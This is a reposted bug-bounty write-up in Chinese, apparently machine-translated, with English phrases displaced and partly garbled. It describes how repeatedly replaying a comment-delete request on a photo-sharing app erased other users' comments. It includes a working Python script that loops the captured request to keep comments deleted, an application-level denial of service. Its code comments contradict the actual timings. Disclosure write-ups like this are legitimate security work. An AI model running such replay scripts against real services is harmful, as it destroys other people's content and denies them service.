从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS

admin 2025年2月5日23:17:47评论4 views字数 2611阅读8分42秒阅读模式
从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS

嘿,朋友!这是。我想你,我真的很想。这是一个古老的故事(嗯,实际上就在 2 个月前,但我是为了你做这个,mi amigo 3>)。mrhashimamin

这是关于我在 a 中发现的一个错误(我不会透露任何可能暴露目标的信息,但我想你会弄清楚的,xD)。我们称之为 。public bug bounty programimages-app.com

这是一个用于分享照片、模因等的社交媒体应用程序。用户可以在这些照片上,以及许多其他有趣的功能。react to/add comments

不适用 (N/A) 灾难

在将该应用程序用作、审查旧错误和测试核心功能 () 几天后,我决定专注于该功能。regular userdisclosed reportsreset, login, signupcomment

我从评论开始,尝试其他人的评论,和/或未知错误。什么都不管用manipulating parametersaddingedittriggering any detailed

但问题是这样的:当 对于 时,服务器以 200 OK () 响应。但是,当我多次发送相同的请求时,它仍然 .I deleted my own commentfirst timeas expectedreturned 200 OK every time

那又怎样?”你可能会问。让我们回到 .是的......photo I was testing onall comments were deleted!

从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS
脚本前
从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS
After Script

我的错误(请不要这样做)

太鲁莽了,它立即没有发生的原因。是的,这就是发生的事情。reportedfully understanding

所以,慢慢来,并始终尝试 .给它一些时间,深入挖掘,如果你仍然一无所获,那就继续报告它。escalate anything you findmore impactful

为什么这是一个错误?

嗯,当 , 他实际上做不到事情是这样的:当你发送 (例如,3 次) 时,你最终会删除 + — ,但只会直到 .然后,注释 .triager tried to reproduce thisdelete request more than onceyour own commenttwo other commentsnew comment is added by another usercome back again

从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS
添加新评论后
从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS
第一次回复

所以,最终,这产生了真正的影响。他们关闭了它,因为他们无法。I didn’t really do anythingN/Areproduce it

使其成为真正的 Bug

我一次又一次地切换到 for,直到我有这个想法:“为什么我不使用 Python 脚本一遍又一遍地自动化整个过程呢?another functiontwo weeks

所以,我创建了一个简单的 to turn this to transform it to a .以下是步骤:Python scriptvalid bug

  1. 攻击者选择任何图像并位于其上。posts a comment
  2. 攻击者尝试 捕获请求,并将其保存到 。delete his own commentreq.txt
  3. 攻击者使用此 Python 脚本对 、 every (或更少) 执行。send the request multiple times5 seconds
  4. Any new comment添加的将是 和 ,拒绝用户使用 .userdeletedall existing commentscomment function

Python 脚本:

# Thanks to Chat-GPT btw
import requests
import time

# Function to parse req.txt
def parse_request(file_path):
    with open(file_path, "r") as file:
        lines = file.readlines()

    # Parse request line
    request_line = lines[0].strip()
    method, url_path, http_version = request_line.split(" ")
    base_url = "https://www.images-app.com"  
    url = base_url + url_path

    # Parse headers and body
    headers = {}
    body = None
    is_body = False
    for line in lines[1:]:
        line = line.strip()
        if not line:
            is_body = True
            continue
        if is_body:
            body = line
        else:
            key, value = line.split(": ", 1)
            headers[key] = value

    return method, url, headers, body

# Function to send the request twice
def send_request(method, url, headers, body):
    for _ in range(5): 
        response = requests.request(method, url, headers=headers, data=body)
        print(f"Sent request: {response.status_code}")
    print("$ Waiting for the next cycle $")

# Main loop to send requests every 10 minutes
file_path = "req.txt"
while True:
    # Parse the request from req.txt
    method, url, headers, body = parse_request(file_path)

    # Send the request twice
    send_request(method, url, headers, body)

    # Wait for 2 minutes before the next cycle
    time.sleep(30)

在他们接受它之后,他们(是的,像往常一样典型的骗局)。triagedP3downgraded it to a P4

从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS

没关系,这就是今天的故事。我希望你觉得这篇文章有用。

原文始发于微信公众号(安全狗的自我修养):从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月5日23:17:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoShttps://cn-sec.com/archives/3701045.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息